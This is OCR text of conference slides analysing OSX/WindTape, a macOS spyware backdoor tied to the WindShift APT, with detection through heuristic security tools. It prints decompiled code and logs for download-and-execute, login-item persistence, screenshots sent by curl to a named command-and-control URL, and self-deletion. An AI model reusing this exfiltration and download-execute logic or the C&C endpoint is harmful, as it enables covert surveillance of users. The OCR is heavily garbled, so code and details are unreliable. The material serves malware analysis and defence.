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OUTLINE
an in-depth analysis of 0SX/WindTape

OSK/WindTape

|W| The approaches, techniques, and tools discussed here, are generically
applicable to the analysis of other macOS malware specimens (as well)'



Background




WINDSHIFT APT

targeting macOS systems in the middle east

WindShift APT group:

"targeted specific individuals working
in government departments and critical
infrastructure across the Middle East"

WindShift APT toolset:

Taha Kari
(glgrd:EZT' > OSX.WindTail

(detailed @ VB2019 by P. Wardle)

=
(
\

- i RS - 1
@ Confiant -»> OSX.WindTape

"In the Trails of WindShift APT"
(T. Karim, Hack in the Box GSEC)



WINDSHIFT APT ACTIVITY Unit 42
¥ (Palo Alto Networks)

AGGREGATED WINDSHIFT TIMELINE

DarkMatter unveiled the existence of WINDSHIFT in Avgust
DARK MATTER THREAT TRACKING | of 2018. In their report, they included key details of the
actors’ activities spanning from Early 2017 to Mid 2018.

Objective-See provided a two-part analysis of several WINDTAIL

OBJECTlVE'SEE G MALWARE ANALYSIS samples on their blog. These samples were first uploaded to VirusTotal

between Janvary and March of 2017.

Unit 42 observed events consistent with a WINDSHIFT attack

UN'T 42 G ATTACK ENUMERATION | at a Middle Eastern Government agency from Janvary 2018
through May of 2018.

OBSERVED WINDSHIFT SAMPLES
MIDDLE EASTERN GOV. ATTACK
JANUARY 2018 - MAY 2018

g tootoo.zip trustb.zip
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INSTALLATION VECTOR
...via 0SX/WindTail

HTTP/1.1 200 0K

Date: Thu, 11 Jan 2018 16:24:52 GMT

Server: Apache/2.4.29 (cPanel) OpenSSL/1.0.2m mod_bwiimited/1.4
Keep-Alive: timeout=5S, max=99

Connection: Keep-Alive

Transfer-Encoding: chunked by ‘f
Content~-Type: text/himl

T T e —
| 18d.2ipGET /XxCeDXLDLGrbmAhgX/
Ldses s Floawdbs LOn T !

ACCepl: »/»

S—

Accept~-Language: en-us

Connection: keep-alive

Accept-Encoding: gzip, deflate

User-Agent: united/1 CFNetwork/807.0.4 Darwin/16.0.9 (x86 64)

MTTP/1.1 200 0K

Date: Thu, 11 Jan 2018 16:24:52 GMT

Server: Apache/2.4.29 (cPanel) OpenSSL/1.90.2m mod bwlimited/1.4
Last-Modified: Thu, 11 Jan 2018 05:45:18 GMT

ETag: "418d53-d5711-56279a71fa78e"

Accept-Ranges: bytes

Content-Length: 54783

Keep-Alive: timeout=S, max=98

Connection: Keep-Alive

Content-~Type: application/zip

PK. .
....... (LiceccccssnsessesiSd.app/UX...05Z2.052....PK..
....... ILicecessansssssss iSd.app/Contents/UX...052.052....PK..

Network capture of download
(1mage credit: Taha)

le: 1sd. zip

ety W1n

dTape

"[WindTape]: a second stage, downloaded by WINDTAIL" -Taha



INSTALLATION VECTOR
...via OSX/WindTail /, WINDTAIL's download & execute logic

- (void) sdf {

//get payload from C&C server

rcx = [rl5 yoop:@"F5UrO0OCCFMO/fWHjecxEqGLy/xg5gE98Zvi...];

fileContents = [NSData dataWithContentsOfURL: [NSURL URLWithString:
[NSString stringWithFormat:@"%$@%Q@", rcx, r8] ...]1;

//save
[fileContents writeToFile: fileName ...];

//extract (via 'ditto')
task = [[NSTask alloc] 1init];

[task setLaunchPath:[var 68 yoop:Q@"x3EOmwsZL5..."];
rdx = [NSArray arrayWithObjects:@"-x", @"-k", ...];
[task setArguments:rdx, ...]; # ./ProcessMonitor

[task launch];
event: ES EVENT TYPE NOTIFY EXEC

path: /usr/bin/ditto

//launch payload (e.g. WIND?APE) | args: ( "/usr/bin/ditto",
bundle = [ [NSBundle bundleWithPath: fllePath] e m , n_ .

exeCUtablePath] ; "’\’/Lj_b]fanY/lSd.Zip", "~/Library" )
task = [[NSTask alloc] 1init];
[task setlLaunchPath:bundle]; _ - e ——
[task launch]; event: ES EVENT TYPE NOTIFY EXEC |

ﬁpath ~/L1brary/lsd aPP/Contents/macOS/lsd “




Triage

.to gain a basic understanding

Want to play along?
You can download a sample from: objective-see.org/malware.html



THE WINDTAPE SPECIMEN

file type & code-signing information

l1sd.app

' certificate has been revoked! |

1lsd

_ /User;{pgtrick{Malware/WindTape/lsd.app
A B e ¥ ¥ : :
A ma.cOS application

revoked

Code signing & file info
(via "WhatsYourSign")

(SHA-256: 7677FA6C8CO0739AE3BDD53332DF4F045E273DFE7A1FDDBC32B4FEFC4A4CAD16ED3)

team id: 4F9G49SUXB,
¥ tied to WINDTAIL samples

% codesign -dvvv WindTape/lsd.app/Contents/Mac0OS/1lsd
Executable=WindTape/lsd.app/Contents/Mac0S/1sd
Identifier=lock.com.lsd

Format=app bundle with Mach-O thin (x86 64)

TeamIdentifier =$4EQG49$UQB1

Code signing information



EMBEDDED STRINGS

% strings - lsd.app/Contents/mac0OS/1lsd

@ LSSharedFilelistInsertItemURL
@ kLSSharedFileListSessionLoginItems

@ LSSharedFilelistCreate -
B } - | Persistence?

= (via login 1item)

Uuulb

hostName

processInfo === Host SurVGY?
GenrateDeviceName

WwWw .google.com Network
kNetworkReachabilityChangedNotification - m m -> A COnneCthltY?

Embedded strings

O Embedded strings can reveal functionality/capabilities,
. . .but should always be confirmed wvia continued analysis!



EMBEDDED STRINGS

strings - lsd.app/Contents/macOS/1lsd

NSBitmapImageRep 0
TIFFRepresentation > = _> g Screenshots')

$@/%Q.jpg

NSTask

setLaunchPath: Process exec
Launch <kl (...process:curl?)

/usr/bin/curl

@ CCCrypt

Y7BSwaQM4w5NEAL6+XT8c3PGW107bPJRrt A8 8GHwW > r ted tri -
rvij4ZHB102dsDOkWgMpxDORt BVRXxUHNAWQTZogkt ncryptce STrings:

PspGjehzc3VLNoUSWNFhPxJmp84gxu/SzO0OniCw==

(more) embedded strings



CLASS DumP

% class-dump lsd.app/Contents/MacOS/1lsd

@in?erface KSPliea}chability : NSObject R KSReachablllty
+ (1d) reachabilityToInternet; > i o A ( bl . £ k)
public framewor

@end -
@interface dyli : NSObject

+ (id)ded: (id)argl key: (id)arg?2; n :
+ (1d)end: (1d)argl key: (1d)arg2; — = '> Strlng - "
en/decryption-

@end

@interface AppDelegate : NSObject
- (1d)vcce;

start reversing here

- (void)namac;

-===» Main class

] Ezij;;;iel & 1ts methods?

@end




STRING DECRYPTION
first, finding the decryption routine

1) @ Find an encrypted string

01 /* @class AppDelegate */ me}th()d env.
Pl - (void)mydel ({ passed encr\lp’ced s’crmg
03 e S —
N B R e 04 r13 —w[self env: @"Y7BSwaQM4w5NEdL6+XT8c3PGW1O7bPJRrx3mp84gxu/SzOn1Cw-—" ;]
| e ]
|
|
1 @ ©=>C Track the method(s) its passed to
|
|
" F=======p 0x000000010000b850 dq
' ’ 0x00000001000141a0,
- - 0x00000000000007d0 .,
\ 4 i |' - - -L0x0000000100009528
I -

02 - (void *)env (void *)encryptedString _ *, —
03 return<[dy11 ded: encryptedStrlng key Ox000000010000b850]7

04 }

object, with a
decryption key?

method: "ded: key:"
is passed the encrypted string & a key



STRING DECRYPTION
reversing the decryption algo - writing a decryptor

8 Identify decryption algorithm (+key)

/* @class dyli */ o »Kkeylpassed in)
+ (void *)ded: (void *)encryptedStringtkey:(void *) decryptionKey'|
rbx = [encryptedString retain];
rld = [dyli fi:rbx];
= [r14 retainl: P initialization vector (1V)
= 0x807060504030201;
= [objc retainAutorelease (decryptionKey) UTF8String];
rl5 = objc retainAutorelease (rbx); :
rld = [rl5 bytes]; dCCTVPt Vid.
rax = [rl5 length]; DES 1 CBC NOdC
rax = CCCrypt(0xl, Oxl, Oxl, rl2, Ox8, | rl4, _ 0x400, &var 438) ;|

E—— —————

|

from base64 import b64decode WdeO«Pe
from Crypto.Cipher import DES /» s’cr’mg dCCf\’PtOf

iv = 0x807060504030201
key = bytes ('A# (&K1', 'utf-8')

Write a
decryptor

des = DES.new(key, DES.MODE CBC, iv.to bytes(8, 'little'))
string = des.decrypt (b64decode (encryptedString))




DECRYPTED STRINGS

©)

% python3 decrypt.py

Y7BSwaQM4wSNEAL6+XT8c3PGW107bPIRrtA88GHWwrvy4ZHB102dsDOkWgMpxDORtBVRXxUHNAWQTZogkt PspGijehzc3VLNoUSWNE
hPximp84gxu/SzOniCw==

C&C server (same as \/\/INDTAIL)

1Decrypted strlng b' http //str1ng2me com/ W
| xnrftGrNZ1VYerrqSoszKgUGpN/zgchOQKgrpkMLZcu php9rest %@ &xnvk= o@\x01' |

Other decrypted strings:

Sy o core capab\l\ty?

+ = -p "ZiNbl+Yb5js=": /bin/sh


http://string2me.com/

(deeper) Analysis
a. comprehensive analysis




PERSISTENCE
...via login item

B Copy to: ~/Library €l Persist via login item
— oo -PD (LSSharedFilelistInsertItemURL)

# ./ProcessMonitor

process attach —-—-name 1sd —--waitfor

{
"event" : "ES EVENT TYPE NOTIFY EXEC", Process 1813 stopped
1lsd” 11db unnamed Symbol74S$lsd

"orocess" : { B e e — o
<—> 0x10cblblba <+167>: callq 0x10cbldald
Symbol Stub LSSharedFlleLlstInsertItemURLA

°
4

"uid" : 501,
"arguments" : (lldb) PO $r8 A
/bin/sh", |O.U.Y\Ch (COPV) VioL OPQY\ -0 lLflle / / /Users /user/lerary/ lsd . 2P )

1A

’"open -a /Users/user/lerary/lsd app"“ — »
, —_ i - - — T OISR REIL0L0] 0 Q, Search

k
L
’

Password Login Items

These items will open automatically when you log in:
‘ W_

‘!

R Isd
| ' I lII lI _ P P
55 BlockBlock Helper Application

B Launch copy




CAPABILITY: SCREEN CAPTURE
...on a (10 second) timer

/* @class AppDelegate */ is COY\Y\CC'ted?
- (void) checklable { '
/¥ lurl check: google.com)

rax = [[self reachability] reachable];
if (rax '= 0x0)
rdi = Q"YES"; - = om m > 0x0000000100009510 dq 10.0
I
rbx = [rdi isEqual:@"YES"]; schedule timer .

time i1nterval
(10 seconds)

if_ .

‘timer = [NSTimer scheduledTimerWithTimeInterval:*0x100009510

rbx !

scheduledTimerWithTimelnterval:target:selector:
userinfo:repeats:

Creates a timer and schedules it on the current run loop in the default mode.

-===3 [self scp];

Declaration

+ (NSTimer x)scheduledTimerWithTimeInterval:(NSTimeInterval)ti

target:(id)aTarget

selector: (SEL)aSelector
userInfo:(id)userInfo
repeats: (BOOL)yesOrNo;




CAPABILITY: SCREEN CAPTURE
...via macOS' /usr/sbin/screencapture

/* @class AppDelegate */ dCCrYPtS ‘to
- (void)scp { /usr/ sb:l.n/ screencapture
rl5 = [self env:@"JTi s... I

rld [ [NSDateFormatter alloc] 1init];
[r14 setDateFormat:@"dd-MM-yyyy HH:mm:ss"];

rl5 = [NSBundle mainBundle]; ./ProcessMonitor
rld = [rl5 resourcePath];
rbx = [@"" stringByAppendingFormat:
"%@/%@.jpg", rld, rl3]; "event" : "ES EVENT TYPE NOTIFY EXEC",
"orocess"
rl4 = [NSArray arrayWithObjects: '

@"-x", Q@"-C", rbx, 0x0];
p EXEC screencapture

ﬁrbx = [NSTask launchedTaskW1thLaunchPath 1_ " "

r15 arguments r14] ﬁ C ‘
— * = ~/Llorary sd.app/Contents/ |
ﬁ Resources/14 06-2022 06:28:07. jpg" |

scp method

parent: WINDTAPE




CAPABILITY: SCREEN CAPTURE
. . .1mage exfiltration via curl

/* Qclass AppDelegate */
- (1int)vece: (void *)screencapture ({

rbx = [[NSImage alloc] initWithContentsOfFile:screencapture];

rax = [rbx TIFFRepresentation];

rl2 = [NSBitmapImageRep imageRepWithData:rax];

rl4 = [NSNumber numberWithFloat:rax]; -

rbx = [NSDictionary dictionaryWithObject:rl4 forKey:NSImageCompressionFactor]; COMPVCSS \mage
rbx = [rl2 representationUsingType:0x3 properties:rbx];

[rbx writeToFile:screencapture atomically:YES];

hostName = [[NSProcessInfo processInfo] hostName];
rl5 = [NSString stringWithFormat:@"%@-%@", hostName, NSUserName()]; dCCTVPt C&C SErver

(http://stringZme.com/..)

server =h[self env:@"Y7BSwaQM4...ORtBVRxUHnAwQTZogkiPspGjY48JVcOht1A"];',

—— — —___ I —

param screenCapt = [NSString stringWithFormat:(@"qwe=@%@", screencapture];
param UUID = [[NSString stringWithFormat:@"rest=%@", uuid]; -m-\_t ex-\l "0.(' 5"
param host user = [[NSString stringWithFormat:@"fsbd=%@", rl5]; 9

task = [[NSTask alloc] 1init];
[task setLaunchPath:Q@"/usr/bin/curl"];

exec curl

args = INSArray arrayWithObjects:<args>l; -With args to exfil (screenshot + survey info)
[task setArguments:rl2];

[task launch];




CAPABILITY: SCREEN CAPTURE

¥ ./ProcessMonitor

{
"event" : "ES EVENT TYPE NOTIFY EXEC",

"orocess" : |
"p1d" : 1881 .
"path" : "/usr/bin/curl", ar95 tor curl:
rarguments® : 1 /¥ server + data to "submit”

"/usr/Pin/curl Y A —

' "http://string2me.com/xnrftGrNZ1VYWrkrgSoGzvKgUGpN/zgrcJOQKgrpkMLZcu.php",

H_F",

"gwe=@/Users/user/Library/lsd.app/Contents/Resources/14-06-2022 06:28:07.jpg",

H_F",

"rest=BBA441FE-7BBB-43C6-9178-851218CFD268",

H_F",

"fsbd=users—-Mac.local-user"

curl -F: "this lets curl emulate a filled-in form in which a user
has pressed the submit button. This causes curl to POST data using
the Content-Type multipart/form-data" -curl's man page




REMOTE SELF-DELETE
1f instructed, will delete (self) and terminate

http://string2me.com/xnrftGrNZ1VYWrkrqSoGzvKgUGpN/
zgrcJOQKgrpkMLZcu . php?rest=%Q&xnvkF30

/* Qclass AppDelegate */
- (void)mydel {

S
'*'/.‘ Delete

i
i
X 4 © Terminate

rl4d
rdx

[NSFileManager defaultManager] ;
[ [NSBundle mainBundle] bundlePath];

//remove (self)
[r14 removeltemAtPath:rdx error:rcx];

//terminate (self)
[ [NSApplication sharedApplication] terminate:0x0 ...];

Self-delete logic



Detection
via. heuristics




DETECTION:

PERSISTENCE

alert on login item creation (tool: BlockBlock)

Process 1813 stopped

1sd" _ 11ldb unnamed symbol74551sd:

l—> OxlchlblSa <+167>
1x
l

process attach —-—-name 1sd —--waitfor

LSSharedFlleLlstInsertItemURL

; symbol Stub

>)po$r8

!:lle ///Users/user/lerary/lsd appﬁV

Q Search

Password Login Items

These items will open automatically when you log in:

Application

== BlockBlock Helper

callg Oxlchldalé Ml’u’j

|

r APL call

|

QH backgroundtaskmanagementagent

2]

virus total

552

ancestry

installed a login item

backgroundtaskmanagementagent (pid: 491)

process path:
process args:

/System/Library/CoreServices/backgroundtaskmanagementagent
unknown

1sd

startup file:

_ - f:z;ﬂ pport/co..undtaskmanagementagent/backgrounditems.btm
startup object: !

Process + File + Item 2 Block Allow

temporarily (pid: 491)

BlockBlock alert
(on login item)

"Block Blocking Login Items"
objective-see.com/blog/blog 0x31.html



DETECTION: NETWORK TRAFFIC
alert on unauthorized network traffic (tool: LuLu)

(3 WINDTAPE (lsd)
..0Y...

@ curl

E' oy Z
is trying to connect to 193.142.203.108 65&1

virus total ancestry

>] &

virus total ancestry P Inf
rocess 1nto

process id: 1894

process args: http://string2me.com/xnrftGrNZ1VYWrkrqSoGz..8-851218CFD268 -F fsbd=users-Mac.local-user

Process Info process path: Jusr/bin/curl

process id: 1813
process args: none
process path: /Users/user/Library/1sd.app

Network Info

ip address: 193.142.203.108
port & protocol: 80 (TCP)
Network Info reverse dns name: unknown
ip address: 193.142.203.108
port & protocol: 80 (TCP)

reverse dns name: unknown Remote Endpoint Block Allow

temporarily (pid: 1894)

Remote Endpoint Block Allow

cemporarily (pid: 1813 LuLu alert
ILulu alert (on 1mage exfiltration)

(on check-1in)




(REACTIVE) DETECTION: PERSISTENCE
...via login item enumeration (tool: KnockKnock)

% MRS » cnumeration APL:
loginTterl = LsSharedFileList | LSSharedFileListCopySnapshot

e { ,

: th for eacl
for(id item in (__bridge NSArray *)loginItems)
{

itemRef = (__bridge LSSharedFileListItemRef)item;

Start Scan

if(STATUS_SUCCESS != : (itemRef, @, &itemPath

{ Categories:

continue; BlockBlock Helper
o e 0/17
Launch Items /Applications/BlockBlock Helper.app/Contents/Mac0S/BlockBlock Helper

virustotal

Ten

[traditionalItems addObject:[(__bridge NSURL *x)itemPath pathll];

Libra ry Inserts /Users/user/Library/1sd.app/Contents/Mac0S/1sd ?

J \ , INSERT_LIBRARIES N virustotal

CFRelease(itemPath); LuLu i
Library Proxies /Applications/LuLu.app/Contents/Mac0S/LulLu ﬁ: S 0/71

] virustotal

persisted login item
[ binary: )

Login/Logout Hooks

Periodic Scripts

r1pL - dl

Quicklook_Plugins

Scan Complete




Conclusions
+ takeaways




TAKEAWAYS

Studying an APT's macOS tools, provide insights into the
Apple-specific approaches employed by advanced adversaries.

' These analysis approaches, techniques, & tools are
— applicable to the analysis & detection of other macOS malware.

Heuristic methods can (easily) detect WINDTAPE,
as well as other macOS threats, ...generically!



INTERESTED IN LEARNING MORE?

SEee.

"The Art of Mac Malware  book(s)

Books about Mac Malware
by Patrick Wardle

capabilities that seek 10 help the malware author profie, perhaps by display
ing ads, hijacking search results, mining cryptocurrency, or encrypeing user

files for ransom. Adware falls into this category, as it's designed 1o surrepth
toualy generate revenue for ity creator, (The difference between adware
and malware can be rather nuanced, and in many cases arguably impercen-
able. As sach, here, we won't differentiate between the two,)

On the other hand, malware dessgned to spy on s victims (for example,
by three-letier govermment agencies) is morse likely 1o contain stealthier or
more comprehensive cagabilitios, perhaps featuring the abilisy to recoed
audio off the system microphone or expose an imeractive shell to allow a
remote attacker o execute arbitrary commands

Of course, there are overlaps in the capabllities of these two beoad case-
gories. For example, the abilicy to download and execute arbitrary binaries is
an appealing capability 1o most mahware authors, as it provides the means 1o
cither update or dynamically expand their malicious creations (Figure 3-1)

@QEI\
é@w@@ !|

Crimind iww bﬁﬂ “‘uw.

INTRODUCTION

fiparage

- a -wl-
Do Macs even get malware? If we're to

believe an Apple marketing claim once
posted on Apple.com, apparently, no:

/

Figuwe J-1° A comgonzoton of mafwere's copablines

[Mac| doesn’t get PO viruses, A Mac lsn's susceptible 10 the
thousands of viewses plaguing Windows-based companers. Thae's
thanks 10 baidiin defemaes in Mac OS X that keep you safle with-
ot any work om your part ]

Survey and Reconnaissance

In both crime-oriented and espionage-oriented malware, we often find
logic designed to conduct surveys or reconnaisance of 2 system’s environ-
ment, for two main reasons. Finst, this gives the malware insight into it
surroundings, which may drive subsequent decisions, For example, mal-
ware may choose not to persistently infoct a system if it detects third-party
security wols. Or, if it finds iself running with moncoot privileges, it may
attemga 10 escalate its privileges (or perhaps simply skip actions that require
such rights). Thus, the malware often executes reconnaissance logic before
any other malicsous actions are taken

Second, malware may transmit the survey information it collects back
10 the atacker’s command and control server, where the attacker may use
it o uniquely identify the infected system (uasally by finding some sytem-
specific unique identifier) or pinpoint infected computers of interest. In

Of course, this statement was rather deceptive and to Apple’s credit
has loag been removed from their website, Suse, there may be a kernel of
truth in it due to inberent cross-platform incompatibilities (not Apple’s
“defenses”), a native Windows virus cannot typically execute on macOS, But
cross-platform mabware has long targeted both Windows and macOS. Foe
example, in 2009 Windows adware was found packaged with a crossplatform
framework that allowed it 1o run on macOS.*

Regardiess of any marketing claims, Apple and malware have a long
history of coexisting. In fact, Elk Cloner, the first "wild virus for a home

¢

no starch
press

For sale (hard copy): amazon
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Unmasking WindTape

RESOURCES :

"In the Trails of WindShift APT"
https://gsec.hitb.org/materials/sg2018/D1%$20COMMSEC%20-%20In%20the%20Trails%$200f%$20WINDSHIFT%$20APTS$20-

$20Tahas20Karim.pdf

"Shifting in the Wind"
https://unit42.paloaltonetworks.com/shifting-in-the-wind-windshift-attacks-target-middle-eastern—-governments

"Objective-See's Tools"
https://objective-see.org

"The Art of Mac Malware"
https://taomm.org



